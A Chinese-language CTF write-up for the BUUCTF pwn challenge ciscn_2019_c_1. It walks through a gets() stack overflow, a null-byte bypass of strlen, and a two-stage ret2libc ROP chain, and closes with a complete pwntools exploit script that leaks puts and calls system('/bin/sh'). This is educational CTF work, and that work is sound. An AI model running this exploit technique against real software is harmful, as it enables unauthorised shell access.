buuctf-ciscn_2019_c_1

文章目录

文件和保护机制检查

使用checksec和file来判断文件的保护机制以及文件

shell 复制代码
file ciscn_2019_c_1
checksec ciscn_2019_c_1

可以看到是64位程序,并且开启了NX保护

shell 复制代码
#使用./执行一下看程序的逻辑
./ciscn_2019_c_1

使用pe查壳

ida静态分析

使用ida pro先静态分析

可以看到这里使用了2个函数begin和encrypt,追踪查看

看到main中是一个while循环,当输入的值为1的时候,进入到encrypt函数

可以看到这里使用gets函数写入到s中,s是数组长度为48,中间就是一个异或过程

双击数组s,可以看到长度为0x50 ,又因为64位程序,我们加入8即可到达返回地址

但是这里有个需要注意的点:

**看到了一个函数------strlen(strlen的作用是得知字符串的长度,但是遇到'\0'就会停止)

**然后再下面就是把我们输入的东西加密的过程了,但是我们的脚本不能让它加密,加密了我们的脚本也就被破坏了,没用了,所以我们要让它在到strlen函数的时候停止 之后在进行我们的脚本

开头一个\x00进行输入,然后strlen就等于0,然后你输入的小于等于0,直接break,直接就跳出了这个循环之中,所有写的都写入了gets中没有任何运算

接着来看有没有可以直接溢出后返回的可用地址

明显没有例如system /bin/sh这样的字符串,那么这里就需要使用到re2libc了

64位程序的传参需要首先使用rdi,rsi,rdx,rcx,r8,r9,所以我们需要使用ROPgadget来寻找

shell 复制代码
ROPgadget  --binary ciscn_2019_c_1 --only "pop|ret"

这些都是可以使用的

构造ROP链

接着就需要来构造rop链了

分析ida我们看到是有一个puts函数的,我们可以使用rop链来暴露出来puts函数在got表中的地址,我们只需要返回地址加入puts_plt表的地址,参数设置为puts_got表的地址,就可以暴露出来puts函数的地址,即

shell 复制代码
垃圾数据
pop_rdi_ret_addr
put_got_addr
put_plt_addr
main_addr
##最后回到main函数,不让程序结束,继续发送payload构造第二次攻击,拿到shell

这样之后,再一次利用得到的puts_got表中的地址,和puts函数在当前的libc库中的偏移地址得到libc的基地址,然后利用system和bin/sh的偏移量得到system和bin/sh的地址,然后继续构造栈帧即可!

shell 复制代码
垃圾数据
ret_addr
pop_rdi_ret_addr
bin_sh_addr
system_addr

#这里ret_addr是因为我们在64位程序中调用了system函数,存在一个栈对齐问题,在x64架构中,System V AMD64 ABI调用约定要求函数调用时栈指针必须16字节对齐
#如果不调用ret地址,就会导致段错误,从而报错,所以这里可以多次测试,如果不报错就尅也不加入ret地址,如果报错就加入ret地址即可!

大体的思路分析完成之后,就可以构造exp来攻击了

  • 如果需要知道本地libc的地址使用ldd命令
shell 复制代码
ldd ciscn_2019_c_1

exp

python 复制代码
from pwn import *
from LibcSearcher import *
########################################################################################################################
con=0
if con:
    print('当前程序是32位的:')
    sleep(3)
    context(log_level='debug', arch='i386', os='linux')
else:
    print("当前程序是64位的")
    sleep(3)
    context(log_level='debug', arch='amd64', os='linux')

context.terminal = ['tmux', 'splitw', '-h']
########################################################################################################################
def test_attach():
    gdb.attach(io)
    pause()
def p():
    pause()
########################################################################################################################
# 文件名
filename ='文件地址'
libc_addr='libc地址'
elf=ELF(filename)
libc1 = ELF(libc_addr)
########################################################################################################################
#连接方式
debug = 0
#node5.buuoj.cn:26635
if debug:
    io = remote('远程主机地址', 端口号)
    print('############################################################')
    print('准备开始打远程:')
    sleep(1)
else:
    io=process(filename)
    print('############################################################')
    print('准备开始打本地:')
    sleep(1)
########################################################################################################################
padding=0x4F+8                 #因为有strlen函数,所以发送一个0x49第一个字节发送\0
puts_plt=elf.plt['puts']			 #寻找plt表中puts函数的地址
puts_got=elf.got['puts']			 #寻找got表中puts函数地址
main_addr=elf.symbols['main']  #寻找程序中main函数地址
ret_addr=0x04006b9						 #使用ROPgadget找的ret地址
pop_rdi_ret=0x400c83					 #使用ROPgadget找的pop_rdi_ret地址

print(f'main函数的地址为:{hex(main_addr)}')
print('put_plt表的地址为:',hex(puts_plt))
print('put_got表的地址为:',hex(puts_got))		#这里确保地址不出错误,可以和idapro中分析的地址做对比
payload=b'\00'+b'a'*padding			#填满垃圾数据
payload+=p64(pop_rdi_ret)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main_addr)
##按照上述思路中的内容写的

########################################################################################################################
test1='Input your choice!\n'
test2='Input your Plaintext to be encrypted\n'##这是两个接收条件,按照题来分析得到

########################################################################################################################

print('准备开始发送数据包:')
sleep(1)
#io.sendafter(test1,b'1')
print('开始发送第一个数据1:')
io.sendlineafter(test1,'1')	#发送1进入encrypt函数
sleep(1)
print('开始发送payload:')
io.sendlineafter(test2,payload)
sleep(2)
print('开始接收数据:')
io.recvline()
io.recvline()			#这里必须接收两个值,第二个接收的值是'\n' 如果只是接收一个后续就不会接收到put_gots表中的内容,这里我做了多次测试得到的结果
b=io.recvuntil('\n')[:-1].ljust(8, b'\x00')	#由于这里会接收到一个随机的十六机制的值,但是是以\n结尾的,所以这里需要去掉\n取8位,所以不足的需要补充\00
print('截取的数据包为:',b)
puts_got_addr=u64(b)
print("u64解包之后的数据包为:",puts_got_addr)
print('十六进制之后的数据包为:',hex(puts_got_addr))

########################################################################################################################
libc=0	
if libc:
    print('使用libcsearch来寻找')			
    sleep(3)
    libc=LibcSearcher("puts",puts_got_addr)							#根据泄露的函数地址,自动识别目标系统使用的libc版本
    libcbase_addr=puts_got_addr-libc.dump("puts")				#求出来基地址
    print(f'libc基地址为:{hex(libcbase_addr)}')
    system_addr=libcbase_addr+libc.dump('system')				#利用基地址和偏移量得到system地址
    bin_sh_addr=libcbase_addr+libc.dump('str_bin_sh')		#利用基地址和偏移量得到bin/sh地址
    print(f'system在libc中的地址为:{hex(system_addr)}')
    print(f'/bin/sh在libc中的地址为:{hex(bin_sh_addr)}')
else:
    print('使用本地libc来寻找')													#如果要使用本地libc需要知道本地libc地址
    sleep(3)
    libcbase_addr = puts_got_addr - libc1.symbols['puts']
    system_addr = libcbase_addr + libc1.sym['system']
    bin_sh_addr = libcbase_addr + libc1.search(b'/bin/sh\x00').__next__()			#本地获取/bin/sh地址的时候有些许的不同,这个好像是固定格式
    print(f'libc基地址为:{hex(libcbase_addr)}')
    print(f'system在libc中的地址为:{hex(system_addr)}')
    print(f'/bin/sh在libc中的地址为:{hex(bin_sh_addr)}')
########################################################################################################################
payload1=b'\00'+b'a'*padding				#构造第二次栈帧发送数据即可!
payload1+=p64(ret_addr)
payload1+=p64(pop_rdi_ret)
payload1+=p64(bin_sh_addr)
payload1+=p64(system_addr)
io.sendlineafter(test1,'1')
io.sendlineafter(test2,payload1)		#按照我们上面的思路构造栈帧即可
########################################################################################################################
print('发送成功')
io.interactive()

可以看到这里就成功getshell了!
re2libc最重要的是思路,有了思路之后,payload构造就十分简单了,这里提供一个思路.

相关推荐
若尘啊若辰1 天前
安全通用要求之六安全管理制度
安全·网络安全·等保·等级保护·安全通用要求
介一安全1 天前
【Frida Android】实战篇17:Frida检测与绕过——基于inline hook的攻防实战
android·网络安全·逆向·安全性测试·frida
小韩博1 天前
小迪第42课:PHP应用&MYSQL架构&SQL注入&跨库查询&文件读写&权限操作
sql·mysql·网络安全·架构·php
网安INF2 天前
SSL/TLS体系结构
网络·网络协议·网络安全·ssl
小快说网安2 天前
等保测评技术检测要点:网络与数据安全核心指标实操指南
网络·网络安全·等保测评
玥轩_5212 天前
防火墙技术-综合应用实验
运维·网络·网络协议·网络安全·智能路由器·路由器·防火墙
Ancelin安心2 天前
关于代理的一些网络知识复盘
linux·运维·网络·计算机网络·web安全·ubuntu·网络安全
重生之我在番茄自学网安拯救世界2 天前
网络安全中级阶段学习笔记(十一):服务器解析漏洞全解析(原理、利用与防御)
运维·服务器·web安全·网络安全·渗透测试·服务器解析漏洞
世界尽头与你2 天前
CVE-2021-40438_ Apache HTTP Server mod_proxy 模块 SSRF漏洞
安全·网络安全·渗透测试·apache
unable code2 天前
攻防世界-Misc-Wire1
网络安全·ctf·misc·1024程序员节